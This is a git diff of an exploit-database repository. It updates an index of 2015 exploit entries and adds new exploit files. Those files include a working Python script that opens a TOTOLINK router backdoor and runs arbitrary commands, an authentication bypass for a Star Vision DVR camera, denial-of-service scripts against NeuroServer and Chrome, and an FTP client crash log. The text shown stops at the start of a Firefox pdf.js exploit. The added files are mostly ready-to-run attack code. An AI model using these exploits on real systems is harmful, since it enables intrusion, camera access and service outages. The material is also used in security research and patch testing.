diff --git a/files.csv b/files.csv index bf11b86d1..af88dc136 100755 --- a/files.csv +++ b/files.csv @@ -473,7 +473,7 @@ id,file,description,date,author,platform,type,port 611,platforms/windows/dos/611.c,"chesapeake tftp server 1.0 - Directory Traversal and DoS PoC Exploit",2004-11-01,"Luigi Auriemma",windows,dos,0 612,platforms/windows/remote/612.html,"Microsoft Internet Explorer 6 - (IFRAME Tag) Buffer Overflow Exploit",2004-11-02,Skylined,windows,remote,0 616,platforms/windows/remote/616.c,"MiniShare <= 1.4.1 - Remote Buffer Overflow Exploit",2004-11-07,class101,windows,remote,80 -618,platforms/windows/remote/618.c,"Ability Server 2.34 FTP STOR Buffer Overflow Exploit (Unix Exploit)",2004-11-07,NoPh0BiA,windows,remote,21 +618,platforms/windows/remote/618.c,"Ability Server 2.34 - FTP STOR Buffer Overflow Exploit (Unix Exploit)",2004-11-07,NoPh0BiA,windows,remote,21 619,platforms/windows/remote/619.c,"CCProxy Log Remote Stack Overflow Exploit",2004-11-09,Ruder,windows,remote,808 620,platforms/linux/remote/620.c,"Qwik SMTP 0.3 - Remote Root Format String Exploit",2004-11-09,"Carlos Barros",linux,remote,25 621,platforms/windows/remote/621.c,"CCProxy 6.2 (ping) Remote Buffer Overflow Exploit",2004-11-10,KaGra,windows,remote,23 @@ -34058,6 +34058,7 @@ id,file,description,date,author,platform,type,port 37725,platforms/php/webapps/37725.txt,"Froxlor Server Management Panel 0.9.33.1 - MySQL Login Information Disclosure",2015-08-07,"Dustin Dörr",php,webapps,0 37726,platforms/php/webapps/37726.txt,"PHP News Script 4.0.0 - SQL Injection",2015-08-07,"Meisam Monsef",php,webapps,80 37727,platforms/windows/dos/37727.py,"Python IDLE 2.7.8 - Crash PoC",2015-08-07,"Hadi Zomorodi Monavar",windows,dos,0 +37728,platforms/php/webapps/37728.py,"OSSEC WUI 0.8 - Denial of Service",2015-08-07,"Milad Saber",php,webapps,0 37729,platforms/windows/remote/37729.py,"Filezilla Client 2.2.X - SEH Buffer Overflow Exploit",2015-08-07,ly0n,windows,remote,0 37730,platforms/windows/local/37730.py,"Tomabo MP4 Player 3.11.3 - (.m3u) SEH Buffer Overflow",2015-08-07,"Saeid Atabaki",windows,local,0 37731,platforms/windows/remote/37731.py,"PCMan FTP Server 2.0.7 - PUT Command Buffer Overflow",2015-08-07,"Jay Turla",windows,remote,21 @@ -34073,7 +34074,27 @@ id,file,description,date,author,platform,type,port 37744,platforms/php/webapps/37744.txt,"WordPress Video Gallery 2.7 SQL Injection",2015-08-09,"Kacper Szurek",php,webapps,0 37749,platforms/lin_x86/shellcode/37749.c,"Linux x86 Egg Hunter Shellcode (19 bytes)",2015-08-10,"Guillaume Kaddouch",lin_x86,shellcode,0 37750,platforms/php/webapps/37750.txt,"WDS CMS - SQL Injection",2015-08-10,"Ismail Marzouk",php,webapps,80 +37746,platforms/windows/remote/37746.py,"Netsparker 2.3.x - Remote Code Execution",2015-08-09,"Hesam Bazvand",windows,remote,0 37754,platforms/php/webapps/37754.txt,"WordPress Candidate Application Form Plugin 1.0 - Arbitrary File Download",2015-08-10,"Larry W. Cashdollar",php,webapps,80 +37755,platforms/windows/local/37755.c,"Windows 2k3 SP2 - TCP/IP IOCTL Privilege Escalation (MS14-070)",2015-08-12,"Tomislav Paskalev",windows,local,0 +37757,platforms/multiple/webapps/37757.py,"Geoserver < 2.7.1.1 / < 2.6.4 / < 2.5.5.1 - XXE Exploit",2015-08-12,"David Bloom",multiple,webapps,0 +37759,platforms/linux/dos/37759.py,"NeuroServer 0.7.4 - (EEG TCP/IP Transceiver) Remote DoS",2015-08-12,nitr0us,linux,dos,0 +37760,platforms/windows/local/37760.rb,"PDF Shaper 3.5 - Buffer Overflow",2015-08-12,metacom,windows,local,0 +37761,platforms/ios/webapps/37761.txt,"Printer Pro 5.4.3 IOS - Persistent Cross Site Scripting",2015-08-12,"Taurus Omar",ios,webapps,0 37762,platforms/lin_x86/shellcode/37762.py,"Linux x86 - /bin/sh ROL/ROR Encoded Shellcode",2015-08-12,"Anastasios Monachos",lin_x86,shellcode,0 +37763,platforms/windows/dos/37763.txt,"NetServe FTP Client 1.0 - Local DOS (Overflow)",2015-08-12,"_ Un_N0n _",windows,dos,0 37764,platforms/windows/dos/37764.html,"Internet Explorer CTreeNode::GetCascadedLang Use-After-Free Vulnerability (MS15-079)",2015-08-12,"Blue Frost Security GmbH",windows,dos,0 +37765,platforms/multiple/webapps/37765.txt,"Zend Framework <= 2.4.2 - XML eXternal Entity Injection (XXE) on PHP FPM",2015-08-13,"Dawid Golunski",multiple,webapps,0 +37766,platforms/multiple/dos/37766.py,"Google Chrome <= 43.0 - Certificate MIME Handling Integer Overflow",2015-08-13,"Paulos Yibelo",multiple,dos,0 +37767,platforms/multiple/webapps/37767.txt,"Joomla Event Manager 2.1.4 - Multiple Vulnerabilities",2015-08-13,"Martino Sani",multiple,webapps,0 37768,platforms/windows/local/37768.txt,"Windows 8.1 - DCOM DCE/RPC Local NTLM Reflection Privilege Escalation (MS15-076)",2015-08-13,monoxgas,windows,local,0 +37769,platforms/php/webapps/37769.txt,"Gkplugins Picasaweb - Download File",2015-08-15,"TMT zno",php,webapps,0 +37770,platforms/hardware/webapps/37770.txt,"TOTOLINK Routers - Backdoor and RCE Exploit PoC",2015-08-15,MadMouse,hardware,webapps,0 +37771,platforms/windows/local/37771.py,"Microsoft HTML Help Compiler 4.74.8702.0 - SEH Based Overflow",2015-08-15,St0rn,windows,local,0 +37772,platforms/multiple/local/37772.js,"Firefox < 39.03 - pdf.js Same Origin Policy Exploit",2015-08-15,"In Ming Loh",multiple,local,0 +37773,platforms/php/webapps/37773.txt,"Joomla com_memorix component - SQL Injection vulnerability",2015-08-15,"BM Cloudx",php,webapps,0 +37774,platforms/php/webapps/37774.txt,"Joomla com_informations component - SQL Injection vulnerability",2015-08-15,"BM Cloudx",php,webapps,0 +37775,platforms/windows/dos/37775.py,"Ability FTP Server 2.1.4 - afsmain.exe USER Command Remote DoS",2015-08-15,St0rn,windows,dos,0 +37776,platforms/windows/dos/37776.py,"Ability FTP Server 2.1.4 - Admin Panel AUTHCODE Command Remote DoS",2015-08-15,St0rn,windows,dos,0 +37777,platforms/linux/dos/37777.txt,"Ubuntu 14.04 NetKit FTP Client - Crash/DoS PoC",2015-08-15,"TUNISIAN CYBER",linux,dos,0 +37778,platforms/hardware/webapps/37778.txt,"Security IP Camera Star Vision DVR - Authentication Bypass",2015-08-15,"Meisam Monsef",hardware,webapps,0 diff --git a/platforms/hardware/webapps/37770.txt b/platforms/hardware/webapps/37770.txt new file mode 100755 index 000000000..545788016 --- /dev/null +++ b/platforms/hardware/webapps/37770.txt @@ -0,0 +1,89 @@ +# Exploit Title: TOTOLINK backdoor and RCE exploit POC +# Google Dork: N/A +# Date: Thu Aug 13 07:33:29 MDT 2015 +# Exploit Author: MadMouse +# Vendor Homepage: http://www.totolink.net/ +# Software Link: +http://www.totolink.net/include/download.asp?path=down/010100&file=TOTOLINK%20A850R-V1_1.0.1_20150725.zip +# Version: A850R-V1 : until last firwmware +TOTOLINK-A850R-V1.0.1-B20150707.1612.web, F1-V2 : until last firmware +F1-V2.1.1-B20150708.1646.web, F2-V1 : until last firmware +F2-V2.1.0-B20150320.1611.web, N150RT-V2 : until last firmware +TOTOLINK-N150RT-V2.1.1-B20150708.1548.web, N151RT-V2 : until last firmware +TOTOLINK-N151RT-V2.1.1-B20150708.1559.web, N300RH-V2 : until last firmware +TOTOLINK-N300RH-V2.0.1-B20150708.1625.web, N300RH-V3 : until last firmware +TOTOLINK-N300RH-V3.0.0-B20150331.0858.web, N300RT-V2 : until last firmware +TOTOLINK-N300RT-V2.1.1-B20150708.1613.web +# Tested on: A850R-V1 +# CVE : N/A +# Credit: https://pierrekim.github.io/advisories/2015-totolink-0x02.txt + + + +#!/usr/bin/env python +# +------------------------------------------------------------------------------ +# THE SCOTCH-WARE LICENSE (Revision 43): +# wrote this file. As long as you retain this notice +you +# can do whatever you want with this stuff. If we meet some day, and you +think +# this stuff is worth it, you can buy me a shot of scotch in return +# +------------------------------------------------------------------------------ +import socket, sys + +if len(sys.argv) < 2: + print("Usage: %s ...\x1b[0m" % sys.argv[0]) + exit(1) + +commandstr = urllib.quote_plus(" ".join(sys.argv[2:])) + +def check_activate_backdoor(): + try: + vulnerable = "hel,xasf" # this is both the check, and the +command to open the management interface to the internet + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((sys.argv[1], 5555)) + s.send(vulnerable) + ret = True if s.recv(len(vulnerable)) == vulnerable else False + s.close() + except: + print("\x1b[031mThis just happened: \x1b[037m%s\x1b[0m" % +sys.exc_info()[0]) + exit(2) + return ret + +def close_backdoor(): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((sys.argv[1], 5555)) + s.send("oki,xasf") + s.close() + except: + print("\x1b[031mThis just happened: \x1b[037m%s\x1b[0m" % +sys.exc_info()[0]) + exit(2) + return + +if check_activate_backdoor(): + print("\x1b[032mThis device appears to be vulnerable\nbackdoor +activated\x1b[0m") + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((sys.argv[1], 80)) + s.send("POST /boafrm/formSysCmd +HTTP/1.1\r\n\r\nsysCmd=%s&apply=Apply&msg=\r\n\r\n" % commandstr) + + print("\x1b[032mCommands sent\x1b[0m") + print("\x1b[032mResponse: \n%s\x1b[0m" % s.recv(512)) + s.close() + except: + print("\x1b[031mThis just happened: \x1b[037m%s\x1b[0m" % +sys.exc_info()[0]) + exit(2) + close_backdoor() + exit(0) +else: + print("\x1b[032mThis device isn't vulnerable lol\x1b[0m") + exit(1) diff --git a/platforms/hardware/webapps/37778.txt b/platforms/hardware/webapps/37778.txt new file mode 100755 index 000000000..709bf139a --- /dev/null +++ b/platforms/hardware/webapps/37778.txt @@ -0,0 +1,18 @@ +# Exploit Title: Security IP Camera Star Vision DVR Authentication Bypass +# Date: 2015-08-13 +# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com +# Vendor Homepage: # +# Version: All Versions + +Exploit : +1 - First, open your Chrome browser +2 - Enter the IP address or domain to see the login screen of the camera +3 - Press the F12 key to open the browser console +4 - Click the Console tab and enter the following code +login_set(1,1,1,1); +5 - Now go to page view2.html +6 - enjoy seeing camera :) + +Test : http://m.2.is/ + +Video Tutorial : http://s3.picofile.com/file/8206365584/cam.mp4.html diff --git a/platforms/ios/webapps/37761.txt b/platforms/ios/webapps/37761.txt new file mode 100755 index 000000000..961a42629 --- /dev/null +++ b/platforms/ios/webapps/37761.txt @@ -0,0 +1,97 @@ +Document Title: +=============== +Printer Pro 5.4.3 IOS - Cross Site Scripting + +Credits & Authors: +================== +TaurusOmar - @TaurusOmar_ (taurusomar13@gmail.com) [taurusomar.blogspot.com] + +Release Date: +============= +2015-08-11 + + +Product & Service Introduction: +=============================== +Print attachments, documents, web pages and more right from your iPhone and iPad to any Wi-Fi or USB printer. +Printer Pro lets you wirelessly print from the iPhone or iPad. It can print directly to many Wi-Fi printers or any +printer attached to your Mac or PC via helper application installed on your computer. +Once installed, Printer Pro appears in the "Open In..." list on your device. This lets you print documents from Mail, +PDF Expert and many other applications on your iPhone or iPad that support this function. + +(Copy of the Vendor Homepage: https://itunes.apple.com/us/app/printer-pro-print-documents/id393313223?mt=8) + + +Abstract Advisory Information: +============================== +An independent Vulnerability Laboratory researcher discovered multiple vulnerabilities in the official aplication Printer Pro 5.4.3. + +Vulnerability Disclosure Timeline: +================================== +2015-08-11: Public Disclosure + + +Discovery Status: +================= +Published + + +Affected Product(s): +==================== +Readdle +Product: Printer Pro 5.4.3 - iOS Mobile Application + + +Exploitation Technique: +======================= +Local + + +Severity Level: +=============== +Low + + +Technical Details & Description: +================================ +An application-side input validation vulnerability has been discovered in the officialPrinter Pro 5.4.3 iOS mobile application. +The vulnerability allows a local attacker to inject own script code as payload to the application-side of the vulnerable service function or module. +The vulnerability exists in the TextBox Name contacts in which injects the code is activated When the application is opened and the contact containing +the script selects to print +Request Method(s): + [+] Import +Vulnerable Module(s): + [+] Add Contact + +Vulnerable Parameter(s): + [+] TextBox Name + +Vulnerable Final(s): + [+] Print Contact + + +Proof of Concept (PoC): +======================= +The persistent input validation web vulnerability can be exploited by local attackers with system user account and without . +For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. + +1. Install the ios application ( https://itunes.apple.com/us/app/printer-pro-print-documents/id393313223?mt=8) +2. Add new Contact with script in the TexBox Name +2. Start the app and open the import function +3. Select contact that contains the script +4. Successful reproduce of the persistent vulnerability! + +Proof of Concept (IMAGES): + +1. http://i.imgur.com/yku1o1c.jpg +2. http://i.imgur.com/Q5O3X15.jpg +3. http://i.imgur.com/uPhL9Ow.jpg + + +PoC: Cross Site Scripting + + + +Security Risk: +============== +The security risk of the persistent input validation vulnerability in the name value is estimated as medium. (CVSS 3.7) diff --git a/platforms/linux/dos/37759.py b/platforms/linux/dos/37759.py new file mode 100755 index 000000000..b04fec982 --- /dev/null +++ b/platforms/linux/dos/37759.py @@ -0,0 +1,136 @@ +#!/usr/bin/env python +# +# NeuroServer 0.7.4 Remote DoS +# +# Shown at DEF CON 23 (BioHacking Village) +# Brain Waves Surfing - (In)Security in EEG (Electroencephalography) Technologies +# Slides: http://goo.gl/44r1HH +# +# NeuroServer is an EEG (Electroencephalography) TCP/IP Transceiver +# http://openeeg.sourceforge.net/doc/sw/NeuroServer/ +# +# Neuroserver mediates between the raw EEG devices and all the various EEG +# applications that the user may wish to run to analyse the incoming EEG data. +# Data is transmitted using TCP/IP, which means that the EEG data can just as +# easily pass over a network (or even the internet) as stay on the same machine. +# Standard EDF is used for header information and for file storage. +# The server is designed to run on Windows and Linux. +# +#------------------------------------------------------------------------------ +# +# nsd (NeuroServer Daemon) stops if any assertion is triggered inside isValidREDF() at +# ~/NeuroServer-0.7.4/src/openedf.c: +# ... +# assert(isValidREDF(result)); +# ... +# int isValidREDF(const struct EDFDecodedConfig *cfg) +# { +# int i; +# if (cfg->hdr.dataRecordSeconds != 1.0) { +# setLastError("The data record must be exactly 1 second, not %f.", +# cfg->hdr.dataRecordSeconds); +# return 0; +# } +# if (cfg->hdr.dataRecordChannels < 1) { +# setLastError("The data record must have at least one channel."); +# return 0; +# } +# if (cfg->chan[0].sampleCount < 1) { +# setLastError("Channel 0 must have at least one sample."); +# return 0; +# } +# for (i = 1; i < cfg->hdr.dataRecordChannels; ++i) { +# if (cfg->chan[i].sampleCount != cfg->chan[0].sampleCount) { +# setLastError("Channel %d has %d samples, but channel 0 has %d. These must be the same.", cfg->chan[i].sampleCount, cfg->chan[0].sampleCount); +# return 0; +# } +# } +# return 1; +# } +# + +import socket +import time +import sys + +# Malformed EDF header +# Spec: http://www.edfplus.info/specs/edf.html +EDF = "0 " # Version +EDF += "Alejandro Hernandez " # Patient Identification +EDF += "NeuroSky MindWave " # Recording Identification +EDF += "07.04.1520.55.28768 EDF+C " # Startdate of Recording +EDF += "29 " # Number of Data Records +EDF += "1 " # Duration of a Data Record in Seconds +EDF += "1337 " # Number of Signals. This value triggers the DoS: assert(cfg->hdr.dataRecordChannels < MAXCHANNELS); +EDF += "Electrode EDF Annotations " # Labels and other data per channel +EDF += "-32768 -1 32767 1 -32768 -32768 32767 32767 " # PhysiMin PhysiMax DigiMin DigiMax + +if len(sys.argv) != 2: + print 'Usage: ' + __file__ + ' ' + sys.exit(1) + +print r''' + __,--"""""""""--,. + _ -\'" _\ ^-,_ + ,-" _/ \_ + , / \ \ + ,' /_ | \ + / _____,--""" / ) \ + / / / ( | + | / / ) | + | / NeuroServer 0.7.4 Remote DoS \ + ( (_/\ ) / \ + \ \_ ____,====""" / | + \ /" /"" | + \_ _,-" |___,-'--------'" | + "`------"" --" ,-' / + / ---" / + \___/ __,-----,___ ) + \ ,--'"============""""-'" + "-'" | |=================/ + /___\===============/ + / |=============/" + \ \_________,-" + | | + | | +''' + +neuroserver = (sys.argv[1], 8336) + +s = socket.socket() + +print '|- Connecting to %s on port %s\n' % neuroserver +try: + s.connect(neuroserver) +except Exception, e: + print '|- Can\'t connect to %s:%d' % neuroserver + print '|- Exception: %s' % (e) + sys.exit(1) + +print '|- Entering in EEG role. NeuroServers\' response:' +s.send('eeg\n') # EEG role in NeuroServer +print '----------------------------------------------' +print s.recv(16).strip('\n') +print '----------------------------------------------' + +print '|- Sending Malformed EDF header (%d bytes):' % len(EDF) +print '----------------------------------------------' +print EDF +print '----------------------------------------------\n' +s.send('setheader ' + EDF + '\n') + +time.sleep(4) + +print '|- NeuroServer should be dead now. Connecting...\n' +try: + s = socket.socket() + s.connect(neuroserver) +except Exception, e: + print '|- NeuroServer is down !' + print '|- Exception: %s' % (e) +else: + print '|- NeuroServer is still alive :-\, try again...' +finally: + s.close() + +sys.exit(0); \ No newline at end of file diff --git a/platforms/linux/dos/37777.txt b/platforms/linux/dos/37777.txt new file mode 100755 index 000000000..faffd6144 --- /dev/null +++ b/platforms/linux/dos/37777.txt @@ -0,0 +1,120 @@ +### +#[+] Author: TUNISIAN CYBER +#[+] Exploit Title: Ubuntu 14.04 NetKit FTP Client Crash/DoS POC +#[+] Date: 15-08-2015 +#[+] Type: Local Exploits +#[+] Tested on: Ubuntu 14.04 + Works with other distros (11.04:https://www.exploit-db.com/exploits/17806/) +#[+] Twitter: @TCYB3R +## + +cyb3rus@ubuntu:~$ gdp ftp +No command 'gdp' found, but there are 17 similar ones +gdp: command not found +cyb3rus@ubuntu:~$ gdb ftp +GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1 +Copyright (C) 2014 Free Software Foundation, Inc. +License GPLv3+: GNU GPL version 3 or later +This is free software: you are free to change and redistribute it. +There is NO WARRANTY, to the extent permitted by law. Type "show copying" +and "show warranty" for details. +This GDB was configured as "x86_64-linux-gnu". +Type "show configuration" for configuration details. +For bug reporting instructions, please see: +. +Find the GDB manual and other documentation resources online at: +. +For help, type "help". +Type "apropos word" to search for commands related to "word"... +Reading symbols from ftp...(no debugging symbols found)...done. +(gdb) run ftp-server.demo.solarwinds.com +Starting program: /usr/bin/ftp ftp-server.demo.solarwinds.com +Connected to ftp-server.demo.solarwinds.com. +220 Serv-U FTP Server v15.1 ready... +Name (ftp-server.demo.solarwinds.com:cyb3rus): demo +331 User name okay, need password. +Password: +230 User logged in, proceed. +Remote system type is UNIX. +Using binary mode to transfer files. +ftp> account AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +*** buffer overflow detected ***: /usr/bin/ftp terminated +======= Backtrace: ========= +/lib/x86_64-linux-gnu/libc.so.6(+0x7338f)[0x7ffff784238f] +/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x5c)[0x7ffff78d9c9c] +/lib/x86_64-linux-gnu/libc.so.6(+0x109b60)[0x7ffff78d8b60] +/lib/x86_64-linux-gnu/libc.so.6(__strncat_chk+0x13c)[0x7ffff78d7f9c] +/usr/bin/ftp[0x407a08] +/usr/bin/ftp[0x402cd0] +/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf5)[0x7ffff77f0ec5] +/usr/bin/ftp[0x402f49] +======= Memory map: ======== +00400000-00413000 r-xp 00000000 08:01 656161 /usr/bin/netkit-ftp +00612000-00613000 r--p 00012000 08:01 656161 /usr/bin/netkit-ftp +00613000-00615000 rw-p 00013000 08:01 656161 /usr/bin/netkit-ftp +00615000-00665000 rw-p 00000000 00:00 0 [heap] +7ffff5e4e000-7ffff5e64000 r-xp 00000000 08:01 5771565 /lib/x86_64-linux-gnu/libgcc_s.so.1 +7ffff5e64000-7ffff6063000 ---p 00016000 08:01 5771565 /lib/x86_64-linux-gnu/libgcc_s.so.1 +7ffff6063000-7ffff6064000 rw-p 00015000 08:01 5771565 /lib/x86_64-linux-gnu/libgcc_s.so.1 +7ffff6064000-7ffff6746000 r--p 00000000 08:01 662545 /usr/lib/locale/locale-archive +7ffff6746000-7ffff675d000 r-xp 00000000 08:01 5771664 /lib/x86_64-linux-gnu/libresolv-2.19.so +7ffff675d000-7ffff695d000 ---p 00017000 08:01 5771664 /lib/x86_64-linux-gnu/libresolv-2.19.so +7ffff695d000-7ffff695e000 r--p 00017000 08:01 5771664 /lib/x86_64-linux-gnu/libresolv-2.19.so +7ffff695e000-7ffff695f000 rw-p 00018000 08:01 5771664 /lib/x86_64-linux-gnu/libresolv-2.19.so +7ffff695f000-7ffff6961000 rw-p 00000000 00:00 0 +7ffff6961000-7ffff6966000 r-xp 00000000 08:01 5771611 /lib/x86_64-linux-gnu/libnss_dns-2.19.so +7ffff6966000-7ffff6b65000 ---p 00005000 08:01 5771611 /lib/x86_64-linux-gnu/libnss_dns-2.19.so +7ffff6b65000-7ffff6b66000 r--p 00004000 08:01 5771611 /lib/x86_64-linux-gnu/libnss_dns-2.19.so +7ffff6b66000-7ffff6b67000 rw-p 00005000 08:01 5771611 /lib/x86_64-linux-gnu/libnss_dns-2.19.so +7ffff6b67000-7ffff6b69000 r-xp 00000000 08:01 5771619 /lib/x86_64-linux-gnu/libnss_mdns4_minimal.so.2 +7ffff6b69000-7ffff6d68000 ---p 00002000 08:01 5771619 /lib/x86_64-linux-gnu/libnss_mdns4_minimal.so.2 +7ffff6d68000-7ffff6d69000 r--p 00001000 08:01 5771619 /lib/x86_64-linux-gnu/libnss_mdns4_minimal.so.2 +7ffff6d69000-7ffff6d6a000 rw-p 00002000 08:01 5771619 /lib/x86_64-linux-gnu/libnss_mdns4_minimal.so.2 +7ffff6d6a000-7ffff6d75000 r-xp 00000000 08:01 5771623 /lib/x86_64-linux-gnu/libnss_nis-2.19.so +7ffff6d75000-7ffff6f74000 ---p 0000b000 08:01 5771623 /lib/x86_64-linux-gnu/libnss_nis-2.19.so +7ffff6f74000-7ffff6f75000 r--p 0000a000 08:01 5771623 /lib/x86_64-linux-gnu/libnss_nis-2.19.so +7ffff6f75000-7ffff6f76000 rw-p 0000b000 08:01 5771623 /lib/x86_64-linux-gnu/libnss_nis-2.19.so +7ffff6f76000-7ffff6f8d000 r-xp 00000000 08:01 5771607 /lib/x86_64-linux-gnu/libnsl-2.19.so +7ffff6f8d000-7ffff718c000 ---p 00017000 08:01 5771607 /lib/x86_64-linux-gnu/libnsl-2.19.so +7ffff718c000-7ffff718d000 r--p 00016000 08:01 5771607 /lib/x86_64-linux-gnu/libnsl-2.19.so +7ffff718d000-7ffff718e000 rw-p 00017000 08:01 5771607 /lib/x86_64-linux-gnu/libnsl-2.19.so +7ffff718e000-7ffff7190000 rw-p 00000000 00:00 0 +7ffff7190000-7ffff7199000 r-xp 00000000 08:01 5771609 /lib/x86_64-linux-gnu/libnss_compat-2.19.so +7ffff7199000-7ffff7398000 ---p 00009000 08:01 5771609 /lib/x86_64-linux-gnu/libnss_compat-2.19.so +7ffff7398000-7ffff7399000 r--p 00008000 08:01 5771609 /lib/x86_64-linux-gnu/libnss_compat-2.19.so +7ffff7399000-7ffff739a000 rw-p 00009000 08:01 5771609 /lib/x86_64-linux-gnu/libnss_compat-2.19.so +7ffff739a000-7ffff73a5000 r-xp 00000000 08:01 5771613 /lib/x86_64-linux-gnu/libnss_files-2.19.so +7ffff73a5000-7ffff75a4000 ---p 0000b000 08:01 5771613 /lib/x86_64-linux-gnu/libnss_files-2.19.so +7ffff75a4000-7ffff75a5000 r--p 0000a000 08:01 5771613 /lib/x86_64-linux-gnu/libnss_files-2.19.so +7ffff75a5000-7ffff75a6000 rw-p 0000b000 08:01 5771613 /lib/x86_64-linux-gnu/libnss_files-2.19.so +7ffff75a6000-7ffff75cb000 r-xp 00000000 08:01 5771684 /lib/x86_64-linux-gnu/libtinfo.so.5.9 +7ffff75cb000-7ffff77ca000 ---p 00025000 08:01 5771684 /lib/x86_64-linux-gnu/libtinfo.so.5.9 +7ffff77ca000-7ffff77ce000 r--p 00024000 08:01 5771684 /lib/x86_64-linux-gnu/libtinfo.so.5.9 +7ffff77ce000-7ffff77cf000 rw-p 00028000 08:01 5771684 /lib/x86_64-linux-gnu/libtinfo.so.5.9 +7ffff77cf000-7ffff798a000 r-xp 00000000 08:01 5771538 /lib/x86_64-linux-gnu/libc-2.19.so +7ffff798a000-7ffff7b89000 ---p 001bb000 08:01 5771538 /lib/x86_64-linux-gnu/libc-2.19.so +7ffff7b89000-7ffff7b8d000 r--p 001ba000 08:01 5771538 /lib/x86_64-linux-gnu/libc-2.19.so +7ffff7b8d000-7ffff7b8f000 rw-p 001be000 08:01 5771538 /lib/x86_64-linux-gnu/libc-2.19.so +7ffff7b8f000-7ffff7b94000 rw-p 00000000 00:00 0 +7ffff7b94000-7ffff7bd1000 r-xp 00000000 08:01 5771663 /lib/x86_64-linux-gnu/libreadline.so.6.3 +7ffff7bd1000-7ffff7dd1000 ---p 0003d000 08:01 5771663 /lib/x86_64-linux-gnu/libreadline.so.6.3 +7ffff7dd1000-7ffff7dd3000 r--p 0003d000 08:01 5771663 /lib/x86_64-linux-gnu/libreadline.so.6.3 +7ffff7dd3000-7ffff7dd9000 rw-p 0003f000 08:01 5771663 /lib/x86_64-linux-gnu/libreadline.so.6.3 +7ffff7dd9000-7ffff7dda000 rw-p 00000000 00:00 0 +7ffff7dda000-7ffff7dfd000 r-xp 00000000 08:01 5771514 /lib/x86_64-linux-gnu/ld-2.19.so +7ffff7fdf000-7ffff7fe2000 rw-p 00000000 00:00 0 +7ffff7fea000-7ffff7feb000 rw-p 00000000 00:00 0 +7ffff7feb000-7ffff7ff2000 r--s 00000000 08:01 920152 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache +7ffff7ff2000-7ffff7ff8000 rw-p 00000000 00:00 0 +7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] +7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] +7ffff7ffc000-7ffff7ffd000 r--p 00022000 08:01 5771514 /lib/x86_64-linux-gnu/ld-2.19.so +7ffff7ffd000-7ffff7ffe000 rw-p 00023000 08:01 5771514 /lib/x86_64-linux-gnu/ld-2.19.so +7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 +7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] +ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] + +Program received signal SIGABRT, Aborted. +0x00007ffff7805cc9 in __GI_raise (sig=sig@entry=6) + at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 +56 ../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory. \ No newline at end of file diff --git a/platforms/multiple/dos/37766.py b/platforms/multiple/dos/37766.py new file mode 100755 index 000000000..8448dbc01 --- /dev/null +++ b/platforms/multiple/dos/37766.py @@ -0,0 +1,49 @@ +#! /usr/bin/python2 + +import socket +import sys +import time + +kHost = '127.0.0.1' +kPort = 443 + +def bind_listen(): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) + s.bind((kHost, kPort)) + s.listen(1) + return s + +def send_certificate(c, r): + print '[*] sending certificate' + payload = '' + with open('compressed', 'rb') as tmp: + payload = tmp.read() + c.send('HTTP/1.1 200 OK\r\n') + c.send('Content-Type: application/x-x509-user-cert\r\n') + c.send('Content-Encoding: gzip\r\n') + c.send('Content-Length: {}\r\n'.format(len(payload))) + c.send('\r\n') + c.send(payload) + +def main(): + print '[*] listening for connection on port {}:{}'.format(kHost, kPort) + s = bind_listen() + while True: + c, (host, port) = s.accept() + print '[*] connection from {}:{}'.format(host, port) + while True: + r = c.recv(1024) + if 'favicon' in r: + c.send('HTTP/1.1 404 Not Found\r\n\r\n') + else: + send_certificate(c, r) + time.sleep(20) + sys.exit(0) + +if __name__ == '__main__': + main() + +Thanks, +Paulos Yibelo diff --git a/platforms/multiple/local/37772.js b/platforms/multiple/local/37772.js new file mode 100755 index 000000000..e5b45f52f --- /dev/null +++ b/platforms/multiple/local/37772.js @@ -0,0 +1,245 @@ +/* +# Exploit Title: Firefox < 39.03 pdf.js same origin policy exploit +# Date: 13-08-2014 +# Vendor Homepage: https://www.mozilla.org/en-US/firefox/new/ +# Software Link: http://ftp.mozilla.org/pub/firefox/releases/39.0/linux-x86_64/en-US/firefox-39.0.tar.bz2 +# Version: 39.0 [Should work version before 39.0.3] +# Tested on: Linux (Ubuntu 14.04.3 LTS) [Should probably work in OSX] +# CVE : 2015-4495 + +# POC code taken from https://github.com/vincd/CVE-2015-4495 + +1. Description + This exploit allow attacker to read and copy information on victim's computer, once they view the web site crafted with this exploit. + +2. Proof of Concept + Create a index.html and copy and paste the following html into it: + + + + CVE-2015-4495 + + +

Test

